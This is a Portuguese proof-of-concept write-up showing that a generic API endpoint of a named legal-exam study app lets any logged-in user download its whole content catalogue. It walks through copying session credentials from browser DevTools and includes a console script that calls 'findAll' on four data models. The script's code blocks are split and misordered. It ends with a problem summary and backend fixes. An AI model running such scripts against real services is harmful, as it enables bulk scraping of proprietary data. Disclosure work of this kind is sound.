

Passo a passo - Teste de extração do banco de conteúdo (oabdebolso.com)

Objetivo

Demonstrar que o endpoint `/api/query` permite extrair todo o conteúdo (disciplinas, objetivos, assuntos e questões) sem limite, usando uma conta de usuário comum.

Passo 1 - Login

Entre normalmente no app (`app.oabdebolso.com`) com sua conta.

Passo 2 - Abrir o DevTools

Aperte **F12** → vá na aba **Network** (Rede) → marque o filtro **Fetch/XHR**.

Passo 3 - Capturar TOKEN e KEY

1. Navegue por alguma tela do app que carregue dados (ex: lista de questões).
2. Na lista de requisições, ache uma que vá para `web.oabdebolso.com/api/...` com status 200.
3. Clique nela → aba **Headers** → role até "Request Headers".
4. Copie o valor completo de:
 - `authorization` (algo como `Bearer eyJ...`)
 - `access-key` (uma string longa)

Passo 4 - Abrir o Console

Vá na aba **Console** do DevTools.

Passo 5 - Definir as variáveis

Cole (substituindo pelos valores copiados):

```
const TOKEN = "Bearer COLE_SEU_TOKEN_AQUI";
const KEY = "COLE_SUA_ACCESS_KEY_AQUI";
```

Aperte Enter.

Passo 6 - Rodar a extração completa

Cole o script abaixo e aperte Enter:

```
const modelos = ['Discipline', 'Objective', 'Subject', 'Question'];

async function extrairTudo() {
  for (const model of modelos) {
    console.log(`Extraindo ${model}...`);
    const res = await fetch('https://web.oabdebolso.com/api/query', {
      method: 'POST',
      headers: {
        'content-type': 'application/json',
        'authorization': TOKEN,
        'access-key': KEY
      },
    });
  }
}
```

```

        body: JSON.stringify({ modelName: model, functionName: "findAll", options: {} })
    });
    const d = await res.json();
    console.log(`${model} => total: ${d.data.length}`);

    const blob = new Blob([JSON.stringify(d.data, null, 2)], {type: 'application/json'});
    const url = URL.createObjectURL(blob);
    const a = document.createElement('a');
    a.href = url;
    a.download = `banco_${model.toLowerCase()}.json`;
    a.click();

    await new Promise(r => setTimeout(r, 1000));
  }
  console.log('Extração completa!');
}

extrairTudo();

```

Passo 7 - Acompanhar

- Vai aparecer no console o total de cada modelo:
- Discipline => total: 57
- Objective => total: 142
- Subject => total: 3775
- Question => total: 61490 (esse demora alguns minutos)
- O navegador vai baixar 4 arquivos .json (pode pedir permissão para múltiplos downloads - permita).

Passo 8 - Resultado esperado

Ao final, você terá 4 arquivos JSON na pasta Downloads contendo todo o conteúdo estruturado do produto (disciplinas, objetivos, assuntos e questões completas), extraídos com uma conta de usuário comum, sem nenhuma restrição de volume.

Resumo do problema (para explicar à equipe)

O endpoint POST /api/query aceita modelName, functionName: findAll e options livremente do cliente, sem limite de resultados nem whitelist de campos/modelos. Isso permite que qualquer usuário autenticado extraia integralmente o catálogo de conteúdo do produto.

Recomendações

1. Impor um limit máximo obrigatório no backend (ex: 50-100 por chamada), ignorando/sobrescrevendo valores enviados pelo cliente.
2. Criar uma whitelist de modelName e attributes permitidos por endpoint/caso de uso.
3. Substituir o endpoint genérico por endpoints específicos com paginação obrigatória e regras de negócio adequadas.